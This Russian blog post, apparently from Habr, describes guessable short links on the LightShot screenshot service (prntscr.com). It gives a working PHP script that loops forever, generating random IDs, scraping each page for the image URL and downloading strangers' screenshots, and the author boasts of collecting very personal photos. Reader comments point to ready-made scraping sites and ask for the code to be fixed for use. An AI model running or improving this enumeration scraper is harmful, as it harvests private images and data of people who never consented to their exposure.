LightShot и чужие скриншоты

в 6:11, , рубрики: информационная безопасность, скриншоты, метки:

LightShot logo

Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.

Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.

Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]

В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us

Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.

<?php
set_time_limit(0); // убираем ограничение по времени выполнения скрипта

function random_string($length){ // функция генерации рандомной строки
	$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
	$numChars = strlen($chars); // Определяем длину $chars
	$string = ''; // задаем пустую переменную
	for ($i = 0; $i < $length; $i++) { // Собираем строку
		$string .= substr($chars, rand(1, $numChars) - 1, 1);
	}
	return $string; // Возвращаем готовую строку
}


while (1) {
	$randstring = random_string(5); // генерируем рандомную сроку
	$htmldata = file_get_contents('http://prntscr.com/1'.$randstring); // подставляем рандомную строку и получаем код страницы
	preg_match_all('/<meta name="twitter:image:src" content="(.*?)"/>/is',$htmldata,$img_url); // парсим регуляркой url картинки
	if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
		$localname = array_pop(explode('/',$img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
		$localpath = "./images/".$localname; // определяем куда будет сохраняться картинка локально. у меня заранее создана папка images 
		file_put_contents($localpath, file_get_contents($img_url[1][0])); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
		
		echo "<span style='color: green; display: block; margin-bottom: 50px;'>Сохранение - ".$localname." , url - http://prntscr.com/1".$randstring." , скачиваем с ".$img_url[1][0]."</span>";
	} else {
		echo "<span style='color: red; display: block; margin-bottom: 50px;'>По адресу http://prntscr.com/1".$randstring." нет картинки</span>";
		
	}
	
}
?>

Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
image
В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.

Автор: ferym

Источник


  1. Арчибальд Семеновски:

    Сегодня (2018) file_get_contents считается уже устаревшим. Без знаний пхп врядли получится что то запустить.
    Для всех кому лень разбираться в коже написал сайт https://print-screen.info там стоит уже готовый рабочий скрипт.

  2. Адам Майер:

    Сайт уже не грузит скриншоты и это печально https://print-screen.info

    Вот создали полноценный с рабочим функционалом https://caschbox.com/

  3. Роман:

    В образовательных целях не могли бы поправить код с пояснениями для чайников? Хотелось бы собственноручно (хоть и списать) заставить работать этот код на своем ПК.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js